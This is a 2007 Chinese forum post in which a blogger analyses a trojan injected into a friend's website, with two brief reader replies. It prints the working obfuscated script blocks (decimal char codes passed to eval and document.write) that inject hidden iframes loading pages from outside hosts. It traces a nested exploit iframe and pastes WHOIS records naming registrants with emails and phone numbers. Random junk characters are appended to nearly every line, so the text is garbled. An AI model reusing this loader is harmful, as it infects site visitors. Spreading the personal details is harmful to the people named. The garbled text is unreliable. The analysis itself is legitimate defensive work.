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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, hj1 jY  
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http://www.areway.cn/?p=175 ~.PYS!" +  
YR.'JF`C  
FCPRg^=<!~  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: LeCU"~  
          _@TTVd  
<script>t=’60,105,102,114,97,109,101, }YO}LQ-|  
32,115,114,99,61,104,116,116,112,58,47,47, PEl]HI_H  
102,114,101,101,46,117,45,117,117,117,46,99, NBYE#Uih  
110,47,101,114,114,111,114,46,104,116,109, PBv43uIL  
32,119,105,100,116,104,61,49,48,48,32,104, /B7 GH5  
101,105,103,104,116,61,48,62,60,47,105,102, G#v7-&Yl6  
114,97,109,101,62′; mio'm  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> `yXy T^  
                                                                                                  A-$BB=Ot  
<script>t=’60,105,102,114,97,109,101,32,115, e8 .bH#  
114,99,61,104,116,116,112,58,47,47,102,114, Uo ,3 lMr  
101,101,46,117,45,117,117,117,46,99,110,47, K_}a cU  
101,114,114,111,114,46,104,116,109,32,119, Hkt'~ L*   
105,100,116,104,61,49,48,48,32,104,101,105, U?{j  
103,104,116,61,48,62,60,47,105,102,114,97, |VL,\&7rk  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); B=Os?'2[  
document.write(t);</script> Of=z!|l2  
                                                                                                  `-\ "p;Hp0  
<html xmlns=” CcTJCuOS  
http://www.w3.org/1999/xhtml STI3|}G*P  
“>  &i!]  
<head> opC11c/  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Fu/CX4R_|  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> zOw]P6Gk  
<title>首页 - 爱生活家庭网 $@j7VPE  
                                                                                                                                                    5KSsRq/8"  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 (" %yV_R  
转换字符串后的大概内容是(谁点击后果自付): B!v1 gh  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… L)5nb-qp  
                                                                                                                                  "/"k50%  
查询玉米u-uuu.cn的详细信息: =Yk$Q\c  
Domain Name: u-uuu.cn W| p?KJk)  
ROID: 20070901s10001s64972306-cn )J0VB't  
Domain Status: ok !@X#{  
Registrant Organization: 王雷 Y# #J  
Registrant Name: 王雷 ]Y?$[+Y  
Administrative Email: czlovexs@126.com CmZ?uo+Y  
Sponsoring Registrar: 北京万网志成科技有限公司 =l+p nG  
Name Server:ns.yovole.com n6}1{\  
Name Server:ns1.yovole.com elN3B91\6r  
Registration Date: 2007-09-01 17:54 < ]nI)W(  
Expiration Date: 2008-09-01 17:54 y=Hl~ev`9  
最后PING了一下地址 都没有什么…. 5 \J;EWTU  
                                                                                                G`z48  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. TxWj gW~  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> .8m)^ET  
<script language=”javascript” src=” L%"Mp(gZ  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script "<WS Es  
> |D~MS`~qd5  
这个玉米应该有可能是木马作者的: Mi/_hzZ\  
foafau.info的详细信息: j; C(:6#J  
Access to INFO WHOIS information is provided to assist persons in ))N^)HR  
determining the contents of a domain name registration record in the c#DTL/8"DO  
Afilias registry database. The data in this record is provided by 2i)y'+s  
Afilias Limited for informational purposes only, and Afilias does not i=4bY[y  
guarantee its accuracy.  This service is intended only for query-based h(sD]N  
access. You agree that you will use this data only for lawful purposes +l9avy+P (  
and that, under no circumstances will you use this data to: (a) allow, 0)NHjKP  
enable, or otherwise support the transmission by e-mail, telephone, or 83a Rq&(R  
facsimile of mass unsolicited, commercial advertising or solicitations 0AEs+=  
to entities other than the data recipient’s own existing customers; or )+G(4eIT  
(b) enable high volume, automated, electronic processes that send $4"OD"Z Cq  
queries or data to the systems of Registry Operator, a Registrar, or Ub$$wOsf  
Afilias except as reasonably necessary to register domain names or LtQy(F%8/  
modify existing registrations. All rights reserved. Afilias reserves ){} #v&  
the right to modify these terms at any time. By submitting this query, 82vx:*Ip!}  
you agree to abide by this policy. lV?SvXe  
Domain ID:D22418703-LRMS a srkuAS  
Domain Name:FOAFAU.INFO QEPmuG  
Created On:20-Nov-2007 16:05:42 UTC L0Cf@~k  
Last Updated On:20-Nov-2007 16:05:44 UTC f19 i !  
Expiration Date:20-Nov-2008 16:05:42 UTC -h_v(s2  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) MouYZI)  
Status:CLIENT DELETE PROHIBITED Fi#t88+1  
Status:CLIENT RENEW PROHIBITED [D)A+  
Status:CLIENT TRANSFER PROHIBITED #/:[ho{JQ  
Status:CLIENT UPDATE PROHIBITED &}FYz8w 2/  
Status:TRANSFER PROHIBITED ,y.0 Cb0  
Registrant ID:GODA-040110615 (Gc5l MiX3  
Registrant Name:liu hong rcK*",>  
Registrant Organization: 0ePZxOSjD  
Registrant Street1:beijing w-2]69$k  
Registrant Street2: X DX_c@U  
Registrant Street3: ihnM`TpMJ  
Registrant City:beijing R3~&|>7/T  
Registrant State/Province: TuU.yvkU  
Registrant Postal Code:100000 m^7pbJ\|  
Registrant Country:CN cZYX[.oIB  
Registrant Phone:+86.860108888777 qH ~usgqB7  
Registrant Phone Ext.: 4c% :?H@2  
Registrant FAX: qr@,92_  
Registrant FAX Ext.: o8,K1ic5#  
Registrant Email:bbbshiji@163.com L*Y}pO  
Admin ID:GODA-240110615 0kkiS 3T  
Admin Name:liu hong pmS=$z;I  
Admin Organization: | ] YT6-?.  
Admin Street1:beijing efh wbn  
Admin Street2: s0:1G -I  
Admin Street3: s)V^_@Z 9  
Admin City:beijing & mWq'h  
Admin State/Province: ^2=zp.)  
Admin Postal Code:100000 Ov9.qNT  
Admin Country:CN 5HU>o|.  
Admin Phone:+86.860108888777 Ort\J~ O  
Admin Phone Ext.: 1@y?OWC  
Admin FAX: | @YN\g K;  
Admin FAX Ext.: VltWY'\Wu;  
Admin Email:bbbshiji@163.com i8{jMe!Sa  
Billing ID:GODA-340110615 0nS6<:  
Billing Name:liu hong B}(YD;7vJ  
Billing Organization: \Q6Ip@?  
Billing Street1:beijing +]6 EkZO  
Billing Street2: @l?%]%v|  
Billing Street3: arB$&s  
Billing City:beijing }vi%pfrB  
Billing State/Province: SlZu-4J.-  
Billing Postal Code:100000 6Z"%vrH  
Billing Country:CN :$WRV-  
Billing Phone:+86.860108888777 ~ce.&C7cR  
Billing Phone Ext.: 23=;v@  
Billing FAX: Fh "S[e  
Billing FAX Ext.: :J"e{|g',  
Billing Email:bbbshiji@163.com L?P8/]DGp  
Tech ID:GODA-140110615 {T IGPK  
Tech Name:liu hong (3-G<E  
Tech Organization: {ys_uS{c*  
Tech Street1:beijing uPqPoI>N!  
Tech Street2: #Kl;iY:n  
Tech Street3: YZk&'w  
Tech City:beijing Ip4~qGJ  
Tech State/Province: +)Ty^;+[1  
Tech Postal Code:100000 IP >An8+  
Tech Country:CN n Au>i<  
Tech Phone:+86.860108888777 Frml'Vfq7  
Tech Phone Ext.: rYLNV!_  
Tech FAX: }Yj S v^  
Tech FAX Ext.: iZ:-V8{  
Tech Email:bbbshiji@163.com D(&OyZ~Q+  
Name Server:NS27.DOMAINCONTROL.COM =_XcG!"  
Name Server:NS28.DOMAINCONTROL.COM d0xV<{,-  
Name Server: Ne[O9D 7  
Name Server: ?>&8,p17  
Name Server: '!0CwZ 7  
Name Server: %ry>p(-pC(  
Name Server: /i"EVN`t  
Name Server: saZ ;ixV  
Name Server: JDP#tA3  
Name Server: D|S)/o6  
Name Server: n`hSn41A  
Name Server: \-B>']:R4  
Name Server: 48DsRy  
                                                                                                          OS,$}I[`8  
接着下载每个文件里面的代码: ZLV~It&)  
一步一步看.. 2c~^|@   
9\;EX  
vQ h'C.  
+]{X-R  
"~;jFB8  
~}5(J,1!  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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